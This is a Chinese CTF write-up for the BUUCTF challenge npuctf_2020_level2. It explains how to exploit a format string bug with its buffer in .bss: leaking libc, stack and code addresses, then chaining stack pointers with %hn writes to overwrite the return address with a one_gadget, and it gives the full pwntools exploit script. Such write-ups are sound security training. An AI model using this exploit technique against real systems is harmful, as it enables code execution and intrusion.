buu刷题记录—npuctf_2020_level2

这题刷新了我对格式化字符串的利用,来康康吧。

静态分析

十分简单,就是主函数while循环输入然后格式化字符串漏洞,但是不同的是这个格式化字符串并不在stack段而是在bss段上的。那就考虑考虑字符串在bss段和在stack段的区别,我们平时做的都是在stack段的,因为buf输入一般都是在printf调用之前,所以printf的栈帧会比buf低,而参数在高地址,那么此时printf的参数我们就可控,在buf上写上一个地址然后算出偏移用%n格式串去写就能基本达到任意title写的目的。但是如果它在bss段上或者是在堆上,那么格式化字符串的参数控制不了我们就得另寻方法了。其实也还好,第一步我们可以先控制一个栈的参数,栈里面都会有存函数的ebp,那么可以通过这个来写一个目的地址,再通过目的地址任意写我们想写的内容。讲简单一点其实也就是控制一个栈的地址然后写上目的地址,最后再往目的地址写东西,有格式化字符串漏洞那么基本stack,code和libc地址跟送的一样随便泄露。

动态调试

先gdb起这个程序,然后运行到printf这边观察栈情况。

可以观察到libc的应该是第7个参数,第9个参数有一个栈地址,第六个参数和第11个参数有一个程序加载地址可以泄露。这里的参数个数指的是排除格式化字符串参数后的计数,比如printf("%d",1);这里我就直接把1当成第一个参数了。

所以开局三个地址都出来了。

1
2
3
4
5
6
7
8
9
10
11
12
p.send(b'%7$p\n%9$p\n%11$p\n')

p.recvuntil(b'0x')
libc_addr=int(p.recvline()[:-1],16)-0x21b97
p.recvuntil(b'0x')
stack_addr=int(p.recvline()[:-1],16)-0xe0
p.recvuntil(b'0x')
code_addr=int(p.recvline()[:-1],16)-0x79a

success('libc_addr:'+hex(libc_addr))
success('stack_addr:'+hex(stack_addr))
success('code_addr:'+hex(code_addr))

然后可以看到那个libc得到的值实际上是返回地址,因为main的父函数就是libc_start_main函数嘛。所以我们应该要写这里,怎么写呢?通过栈地址,我们可以通过修改第9个参数的低两个字节到返回地址,然后再%n覆盖,因为不能一次写太多,所以每一次修改最多两个字节,然后马上把这个地址向后移两位然后再写两个字节,至于写什么,那自然是one_gadget最简便了,并且第一个就符合条件了。但是实际操作的时候我傻了,我是通过这个地址写到另一个地址的低两位字节改成了返回地址再通过那个写的,现在想来是在多此一举,但是这样的好处就是可以实现真正的任意写,假如这个题目变成noreturn,那么就只能靠劫持一些hook或者got表来实现指令跳转了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.os='linux'
libc_version='2.27'
'''
2.23 64 libc的one_gadget条件分别是rax,[rsp+0x30,+0x50,+0x70]==NULL
2.27 64 libc的one_gadget条件分别是rsp&0xf==0&&rcx==0 || [rsp+0x40,+0x70]==NULL
'''
one_2_23_32=[0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6]
one_2_23_64=[0x45226,0x4527a,0xf03a4,0xf1247]
one_2_23_buu32=[0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
one_2_23_buu64=[0x45216,0x4526a,0xf02a4,0xf1147]
one_2_27_32=[0x3d123,0x3d125,0x3d129,0x3d130,0x67b4f,0x67b50,0x1380be,0x1380bf]
one_2_27_64=[0x4f365,0x4f3c2,0x10a45c]
one_2_27_buu32=[0x3cbea,0x3cbec,0x3cbf0,0x3cbf7,0x6729f,0x672a0,0x13573e,0x13573f]
one_2_27_buu64=[0x4f2c5,0x4f322,0x10a38c]
one=[]
def conn(x,file_name,port=9999,ip='node4.buuoj.cn'):
global one
bit=0
if context.arch=='amd64':bit=64
else:bit=32
one=eval('one_'+libc_version.replace('.','_')+'_'+(not x)*'buu'+str(bit))
libc='./libc/libc-'+libc_version+'-'+(not x)*'buu'+str(bit)+'.so'
if x:
p=process(file_name)
else:
context.log_level=20
p=remote(ip,port)
return ELF(file_name),ELF(libc),p

def show():
p.sendlineafter(b'choice: ',b'1')

def add(size,payload):
p.sendlineafter(b'choice: ',b'2')
p.sendlineafter(b'note: ',str(size))
p.sendafter(b'note: ',payload)

def edit(index,length,payload):
p.sendlineafter(b'choice: ',b'3')
p.sendlineafter(b'number: ',str(index))
p.sendlineafter(b'note: ',str(length))
p.sendafter(b'note: ',payload)

def free(index):
p.sendlineafter(b'choice: ',b'4')
p.sendlineafter(b'number: ',str(index))


elf,libc,p=conn(0,'./npuctf_2020_level2',port=26764)

p.send(b'%7$p\n%9$p\n%11$p\n')

p.recvuntil(b'0x')
libc_addr=int(p.recvline()[:-1],16)-0x21b97
p.recvuntil(b'0x')
stack_addr=int(p.recvline()[:-1],16)-0xe0
p.recvuntil(b'0x')
code_addr=int(p.recvline()[:-1],16)-0x79a

success('libc_addr:'+hex(libc_addr))
success('stack_addr:'+hex(stack_addr))
success('code_addr:'+hex(code_addr))

shell=libc_addr+one[0]
success('shell:'+hex(shell))
for i in range(0,6,2):
if i==8:break
payload=b'%'+str((stack_addr&0xffff)+i).encode()+b'c%9$hn\n\0'
p.send(payload)
p.recvline()
val=shell&0xffff
payload=b'%'+str(val).encode()+b'c%35$hn\n\0'
p.send(payload)
p.recvline()
gdb.attach(p)
success('debug:'+hex(val))
shell>>=16

success('one:'+hex(libc_addr+one[0]))

p.send('66666666\0')
#gdb.attach(p)


p.interactive()